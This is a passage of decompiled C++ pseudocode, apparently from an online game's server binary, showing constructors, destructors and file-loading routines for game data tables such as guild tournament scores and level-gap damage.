&this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E17DC: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); //----- (0053D840) -------------------------------------------------------- void __thiscall ITableBase::_ITableBase(ITableBase *this) { CDataReader *v1; // esi@1 this->vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; v1 = &this->m_kDataReader; CDataReader::ClearBF(&this->m_kDataReader); CDataReader::_CDataReader(v1); } // 5E17E8: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); //----- (0053D8A0) -------------------------------------------------------- bool __thiscall IIDTableBase::IsValidID(IIDTableBase *this, char ID) { return ID != -1; } //----- (0053D8B0) -------------------------------------------------------- bool __thiscall IIDTableBase::DataProcess(IIDTableBase *this) { IIDTableBase *v1; // esi@1 unsigned int v2; // edi@1 char *v3; // ebx@1 int v4; // eax@2 ITableBaseVtbl *v5; // ebp@4 void *v6; // eax@4 signed int v7; // eax@4 unsigned int v8; // ebp@10 void *v9; // eax@10 int v10; // edi@10 int i; // ecx@10 unsigned int j; // ebp@13 int v13; // eax@14 ITableBaseVtbl *v14; // edi@16 void *v15; // eax@16 int v16; // edi@16 bool result; // al@19 signed int iMostLargeID; // [sp+10h] [bp-4h]@1 v1 = this; iMostLargeID = -1; v2 = 0; v3 = (char *)&this->baseclass_0.m_kDataReader; while ( 1 ) { v4 = *((_DWORD *)v3 + 12); if ( !v4 ) break; if ( v2 >= *(_DWORD *)(v4 + 40) ) break; v5 = v1->baseclass_0.vfptr; v6 = CDataReader::GetRecord((CDataReader *)v3, v2); v7 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v5[1].BeforeTerminate)( v1, v6); if ( (unsigned __int8)v7 > iMostLargeID ) iMostLargeID = v7; ++v2; } if ( iMostLargeID < 0 ) { LABEL_19: result = 0; } else { if ( v1->m_pkRecordIDMap ) operator delete__(v1->m_pkRecordIDMap); v8 = 4 * iMostLargeID + 4; v9 = operator new__(4 * iMostLargeID + 4); v1->m_pkRecordIDMap = (DamageLvGapPVP **)v9; memset(v9, 0, 4 * (v8 >> 2)); v10 = (int)((char *)v9 + 4 * (v8 >> 2)); for ( i = v8 & 3; i; --i ) *(_BYTE *)v10++ = 0; for ( j = 0; ; ++j ) { v13 = *((_DWORD *)v3 + 12); if ( !v13 ) break; if ( j >= *(_DWORD *)(v13 + 40) ) break; v14 = v1->baseclass_0.vfptr; v15 = CDataReader::GetRecord((CDataReader *)v3, j); v16 = (unsigned __int8)((int (__thiscall *)(IIDTableBase *, void *))v14[1].BeforeTerminate)( v1, v15); if ( v1->m_pkRecordIDMap[v16] ) { operator delete__(v1->m_pkRecordIDMap); v1->m_pkRecordIDMap = 0; goto LABEL_19; } v1->m_pkRecordIDMap[v16] = (DamageLvGapPVP *)CDataReader::GetRecord((CDataReader *)v3, j); } v1->m_tMostLargeID = iMostLargeID; result = 1; } return result; } //----- (0053D9C0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053D9E0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DA00) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DA20) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DA40) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DA60) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DA80) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DAA0) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DAC0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DAE0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DB00) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DB20) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DB40) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DB60) -------------------------------------------------------- void *__thiscall ITableBase::_scalar_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DB80) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DBA0) -------------------------------------------------------- void *__thiscall ITableBase::_vector_deleting_destructor_(ITableBase *this, unsigned int a2) { void *v2; // esi@1 v2 = this; ITableBase::_ITableBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DBC0) -------------------------------------------------------- NPCAction::IAction **__cdecl std::copy(NPCAction::IAction **_First, NPCAction::IAction **_Last, NPCAction::IAction **_Dest) { int v3; // eax@1 memmove((char *)_Dest, (char *)_First, 4 * (_Last - _First)); return (NPCAction::IAction **)(4 * (_Last - _First) + v3); } //----- (0053DBF0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0053DC40) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0053DD60) -------------------------------------------------------- void __thiscall GuildTournamentScoreTable::GuildTournamentScoreTable(GuildTournamentScoreTable *this) { GuildTournamentScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S234 & 1) ) { _S234 |= 1u; atexit(_E235); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentScoreTable::_vftable_; } // 5E1720: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable____vftable_)(int __formal); // 5E1808: using guessed type int (__cdecl *GuildTournamentScoreTable___vftable_)(int __formal); //----- (0053DDB0) -------------------------------------------------------- void *__thiscall GuildTournamentScoreTable::_scalar_deleting_destructor_(GuildTournamentScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentScoreTable::_GuildTournamentScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DDE0) -------------------------------------------------------- void __thiscall GuildTournamentLvGapTable::GuildTournamentLvGapTable(GuildTournamentLvGapTable *this) { GuildTournamentLvGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S236 & 1) ) { _S236 |= 1u; atexit(_E237); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentLvGapTable::_vftable_; } // 5E172C: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable____vftable_)(int __formal); // 5E1814: using guessed type int (__cdecl *GuildTournamentLvGapTable___vftable_)(int __formal); //----- (0053DE30) -------------------------------------------------------- void *__thiscall GuildTournamentLvGapTable::_scalar_deleting_destructor_(GuildTournamentLvGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentLvGapTable::_GuildTournamentLvGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DE60) -------------------------------------------------------- void __thiscall GuildTournamentOccupyTable::GuildTournamentOccupyTable(GuildTournamentOccupyTable *this) { GuildTournamentOccupyTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S238 & 1) ) { _S238 |= 1u; atexit(_E239); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentOccupyTable::_vftable_; } // 5E1738: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable____vftable_)(int __formal); // 5E1820: using guessed type int (__cdecl *GuildTournamentOccupyTable___vftable_)(int __formal); //----- (0053DEB0) -------------------------------------------------------- void *__thiscall GuildTournamentOccupyTable::_vector_deleting_destructor_(GuildTournamentOccupyTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentOccupyTable::_GuildTournamentOccupyTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DEE0) -------------------------------------------------------- void __thiscall GuildTournamentSkillTable::GuildTournamentSkillTable(GuildTournamentSkillTable *this) { GuildTournamentSkillTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S240 & 1) ) { _S240 |= 1u; atexit(_E241); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentSkillTable::_vftable_; } // 5E1744: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_SKILL_GuildTournamentSkillTable____vftable_)(int __formal); // 5E182C: using guessed type int (__cdecl *GuildTournamentSkillTable___vftable_)(int __formal); //----- (0053DF30) -------------------------------------------------------- void *__thiscall GuildTournamentSkillTable::_scalar_deleting_destructor_(GuildTournamentSkillTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentSkillTable::_GuildTournamentSkillTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DF60) -------------------------------------------------------- void __thiscall GuildTournamentMasterBuffTable::GuildTournamentMasterBuffTable(GuildTournamentMasterBuffTable *this) { GuildTournamentMasterBuffTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S242 & 1) ) { _S242 |= 1u; atexit(_E243); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&GuildTournamentMasterBuffTable::_vftable_; } // 5E1750: using guessed type int (__cdecl *ITableBase_GUILD_TOURNAMENT_MASTERBUFF_GuildTournamentMasterBuffTable____vftable_)(int __formal); // 5E1838: using guessed type int (__cdecl *GuildTournamentMasterBuffTable___vftable_)(int __formal); //----- (0053DFB0) -------------------------------------------------------- void *__thiscall GuildTournamentMasterBuffTable::_vector_deleting_destructor_(GuildTournamentMasterBuffTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GuildTournamentMasterBuffTable::_GuildTournamentMasterBuffTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053DFE0) -------------------------------------------------------- void __thiscall GTIGetRateTable::GTIGetRateTable(GTIGetRateTable *this) { GTIGetRateTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S244 & 1) ) { _S244 |= 1u; atexit(_E245); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateTable::_vftable_; } // 5E175C: using guessed type int (__cdecl *ITableBase_GTIGetRate_GTIGetRateTable____vftable_)(int __formal); // 5E1844: using guessed type int (__cdecl *GTIGetRateTable___vftable_)(int __formal); //----- (0053E030) -------------------------------------------------------- void *__thiscall GTIGetRateTable::_vector_deleting_destructor_(GTIGetRateTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateTable::_GTIGetRateTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E060) -------------------------------------------------------- void __thiscall GTIGetRateGapTable::GTIGetRateGapTable(GTIGetRateGapTable *this) { GTIGetRateGapTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S246 & 1) ) { _S246 |= 1u; atexit(_E247); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IGetRateGapTable::_vftable_; } // 5E1768: using guessed type int (__cdecl *ITableBase_GTIGetRateGap_GTIGetRateGapTable____vftable_)(int __formal); // 5E1850: using guessed type int (__cdecl *GTIGetRateGapTable___vftable_)(int __formal); //----- (0053E0B0) -------------------------------------------------------- void *__thiscall GTIGetRateGapTable::_vector_deleting_destructor_(GTIGetRateGapTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIGetRateGapTable::_GTIGetRateGapTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E0E0) -------------------------------------------------------- void __thiscall GTIServerTable::GTIServerTable(GTIServerTable *this) { GTIServerTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S248 & 1) ) { _S248 |= 1u; atexit(_E249); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IServerTable::_vftable_; } // 5E1774: using guessed type int (__cdecl *ITableBase_GTIServer_GTIServerTable____vftable_)(int __formal); // 5E185C: using guessed type int (__cdecl *GTIServerTable___vftable_)(int __formal); //----- (0053E130) -------------------------------------------------------- void *__thiscall GTIServerTable::_scalar_deleting_destructor_(GTIServerTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIServerTable::_GTIServerTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E160) -------------------------------------------------------- void __thiscall GTIBreedSubjectTable::GTIBreedSubjectTable(GTIBreedSubjectTable *this) { GTIBreedSubjectTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S250 & 1) ) { _S250 |= 1u; atexit(_E251); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>IBreedSubjectTable::_vftable_; } // 5E1780: using guessed type int (__cdecl *ITableBase_GTIBreedSubject_GTIBreedSubjectTable____vftable_)(int __formal); // 5E1868: using guessed type int (__cdecl *GTIBreedSubjectTable___vftable_)(int __formal); //----- (0053E1B0) -------------------------------------------------------- void *__thiscall GTIBreedSubjectTable::_scalar_deleting_destructor_(GTIBreedSubjectTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTIBreedSubjectTable::_GTIBreedSubjectTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E1E0) -------------------------------------------------------- void __thiscall GTWinScoreTable::GTWinScoreTable(GTWinScoreTable *this) { GTWinScoreTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S252 & 1) ) { _S252 |= 1u; atexit(_E253); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)>WinScoreTable::_vftable_; } // 5E178C: using guessed type int (__cdecl *ITableBase_GTWinScore_GTWinScoreTable____vftable_)(int __formal); // 5E1874: using guessed type int (__cdecl *GTWinScoreTable___vftable_)(int __formal); //----- (0053E230) -------------------------------------------------------- void *__thiscall GTWinScoreTable::_scalar_deleting_destructor_(GTWinScoreTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; GTWinScoreTable::_GTWinScoreTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E260) -------------------------------------------------------- void __thiscall AccUpGradeTable::AccUpGradeTable(AccUpGradeTable *this) { AccUpGradeTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S254 & 1) ) { _S254 |= 1u; atexit(_E255); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&AccUpGradeTable::_vftable_; } // 5E17B8: using guessed type int (__cdecl *ITableBase_AccUpgrade_AccUpGradeTable____vftable_)(int __formal); // 5E1880: using guessed type int (__cdecl *AccUpGradeTable___vftable_)(int __formal); //----- (0053E2B0) -------------------------------------------------------- void *__thiscall AccUpGradeTable::_scalar_deleting_destructor_(AccUpGradeTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; AccUpGradeTable::_AccUpGradeTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E2E0) -------------------------------------------------------- void __thiscall MysteryVaultTable::MysteryVaultTable(MysteryVaultTable *this) { MysteryVaultTable *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S256 & 1) ) { _S256 |= 1u; atexit(_E257); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&MysteryVaultTable::_vftable_; } // 5E17C4: using guessed type int (__cdecl *ITableBase_MysteryVaultServer_MysteryVaultTable____vftable_)(int __formal); // 5E188C: using guessed type int (__cdecl *MysteryVaultTable___vftable_)(int __formal); //----- (0053E330) -------------------------------------------------------- void *__thiscall MysteryVaultTable::_scalar_deleting_destructor_(MysteryVaultTable *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MysteryVaultTable::_MysteryVaultTable(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E360) -------------------------------------------------------- void __thiscall LevelGap_Player_to_Monster::LevelGap_Player_to_Monster(LevelGap_Player_to_Monster *this) { LevelGap_Player_to_Monster *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S258 & 1) ) { _S258 |= 1u; atexit(_E259); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Player_to_Monster::_vftable_; } // 5E17D0: using guessed type int (__cdecl *ITableBase_DamageLvGapPVE_LevelGap_Player_to_Monster____vftable_)(int __formal); // 5E1898: using guessed type int (__cdecl *LevelGap_Player_to_Monster___vftable_)(int __formal); //----- (0053E3B0) -------------------------------------------------------- void *__thiscall LevelGap_Player_to_Monster::_vector_deleting_destructor_(LevelGap_Player_to_Monster *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Player_to_Monster::_LevelGap_Player_to_Monster(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E3E0) -------------------------------------------------------- void __thiscall LevelGap_Monster_to_Player::LevelGap_Monster_to_Player(LevelGap_Monster_to_Player *this) { LevelGap_Monster_to_Player *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S260 & 1) ) { _S260 |= 1u; atexit(_E261); } v1->baseclass_0.m_acFilename[0] = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&LevelGap_Monster_to_Player::_vftable_; } // 5E17DC: using guessed type int (__cdecl *ITableBase_DamageLvGapEVP_LevelGap_Monster_to_Player____vftable_)(int __formal); // 5E18A4: using guessed type int (__cdecl *LevelGap_Monster_to_Player___vftable_)(int __formal); //----- (0053E430) -------------------------------------------------------- void *__thiscall LevelGap_Monster_to_Player::_scalar_deleting_destructor_(LevelGap_Monster_to_Player *this, unsigned int a2) { void *v2; // esi@1 v2 = this; LevelGap_Monster_to_Player::_LevelGap_Monster_to_Player(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0053E460) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S262 & 1) ) { _S262 |= 1u; atexit(_E263); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 5E1798: using guessed type int (__cdecl *ITableBase_AccUpGradeInfo_AccUpGradeInfoTable____vftable_)(int __formal); // 5E17A4: using guessed type int (__cdecl *IIDTableBase_AccUpGradeInfo_AccUpGradeInfoTable_int____vftable_)(int __formal); //----- (0053E4C0) -------------------------------------------------------- void __thiscall IIDTableBase::IIDTableBase(IIDTableBase *this) { IIDTableBase *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ITableBaseVtbl *)&ITableBase::_vftable_; CDataReader::CDataReader(&this->baseclass_0.m_kDataReader); if ( !(_S264 & 1) ) { _S264 |= 1u; atexit(_E265); } v1->baseclass_0.m_acFilename[0] = 0; v1->m_pkRecordIDMap = 0; v1->m_tMostLargeID = 0; v1->baseclass_0.vfptr = (ITableBaseVtbl *)&IIDTableBase::_vftable_; } // 5E17E8: using guessed type int (__cdecl *ITableBase_DamageLvGapPVP_LevelGap_Player_to_Player____vftable_)(int __formal); // 5E17F4: using guessed type int (__cdecl *IIDTableBase_DamageLvGapPVP_LevelGap_Player_to_Player_unsigned char____vftable_)(int __formal); //----- (0053E520) -------------------------------------------------------- #error "53E520: undefined or illegal type 'ListArray' (funcsize=71)" //----- (0053E5F0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentScoreTable::GuildTournamentScoreTable((GuildTournamentScoreTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 879 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A24: using guessed type int ITableBase_GUILD_TOURNAMENT_SCORE_GuildTournamentScoreTable___ms_pkTable; //----- (0053E6C0) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentLvGapTable::GuildTournamentLvGapTable((GuildTournamentLvGapTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 23 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A28: using guessed type int ITableBase_GUILD_TOURNAMENT_LVGAP_GuildTournamentLvGapTable___ms_pkTable; //----- (0053E790) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentOccupyTable::GuildTournamentOccupyTable((GuildTournamentOccupyTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 && *(_DWORD *)v4 == 18 ) { v5 = acFn; v6 = ITableBase::ms_pkTable + 64; do { v7 = *v5++; *(_BYTE *)v6++ = v7; } while ( v7 ); result = (*(int (__fastcall **)(int, int))(*(_DWORD *)ITableBase::ms_pkTable + 4))( ITableBase::ms_pkTable, v6) != 0; } else { result = 0; } return result; } // 12570A2C: using guessed type int ITableBase_GUILD_TOURNAMENT_OCCUPY_GuildTournamentOccupyTable___ms_pkTable; //----- (0053E860) -------------------------------------------------------- bool __cdecl ITableBase::Load(const char *acFn, bool bErrorWhenOpenFailed) { int v2; // eax@1 void *v3; // eax@2 int v4; // eax@7 const char *v5; // ecx@9 int v6; // edx@9 char v7; // al@10 bool result; // al@11 v2 = ITableBase::ms_pkTable; if ( !ITableBase::ms_pkTable ) { v3 = operator new(0xC0u); if ( v3 ) GuildTournamentSkillTable::GuildTournamentSkillTable((GuildTournamentSkillTable *)v2); else v2 = 0; ITableBase::ms_pkTable = v2; } CDataReader::ClearBF((CDataReader *)(v2 + 4)); if ( CDataReader::Read( (CDataReader *)(ITableBase::ms_pkTable + 4), acFn) && (v4 = *(_DWORD *)(ITableBase::ms_pkTable + 52)) != 0 